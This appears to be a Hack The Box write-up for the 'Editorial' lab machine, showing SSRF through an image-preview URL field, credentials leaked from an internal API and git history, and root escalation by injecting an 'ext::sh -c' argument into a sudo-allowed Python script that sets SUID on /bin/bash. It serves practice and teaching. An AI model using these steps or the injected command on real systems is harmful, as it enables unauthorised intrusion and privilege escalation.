Post

HTB - Editorial

Box Info

NameEditorial
Release Date15 Jun, 2024
OSLinux
Rated DifficultyEasy

Enumeration

Image

echo “10.10.11.20 editorial.htb” | sudo tee -a /etc/hosts
Image whatweb: Image Web: Image dirsearch -u http://editorial.htb/ Image

This page is interesting, we can preview an image from a file or url.

Image

SSRF

The file name is renamed and the file extension is removed. When we open the preview image in a new tab, the file downloaded directly, so it seems like we can’t execute any shell directly.

When I upload a file and add a url “http://127.0.0.1/” and intercept with BurpSuite, we can see the response 200 OK and showing a image directory location, this point to a SSRF.

Image

In an SSRF attack against the server, the attacker causes the application to make an HTTP request back to the server that is hosting the application, via its loopback network interface. This typically involves supplying a URL with a hostname like 127.0.0.1 (a reserved IP address that points to the loopback adapter) or localhost (a commonly used name for the same adapter)

Image

The response shows us a directory path, let’s download the file and see what’s inside.

Image

Image

Image

And re upload the file and add the path in burpsuite.

/api/latest/metadata/messages/authors

Image

Image

Username: dev - Password: dev080217_devAPI!@ Image

user flag Image

Image

Linux Enumeration

1
find / -user dev 2>/dev/null | grep -vE "sys|proc"

Image

Image

The command Git show displays detailed information about a commit.

Image

Image

080217_Producti0n_2023!@ for prod

  • su prod
  • password: 080217_Producti0n_2023!@

Privilege Escalation

sudo -l

Image

1
2
3
- echo '#!/bin/bash' > /tmp/exploit.sh

- echo 'chmod u+s /bin/bash' >> /tmp/exploit.sh

Image

1
- sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c '/tmp/exploit.sh'"

Image

  • ls -l /bin/bash

Image

Start a new bash session.

  • /bin/bash -p

Image

This post is licensed under CC BY 4.0 by the author.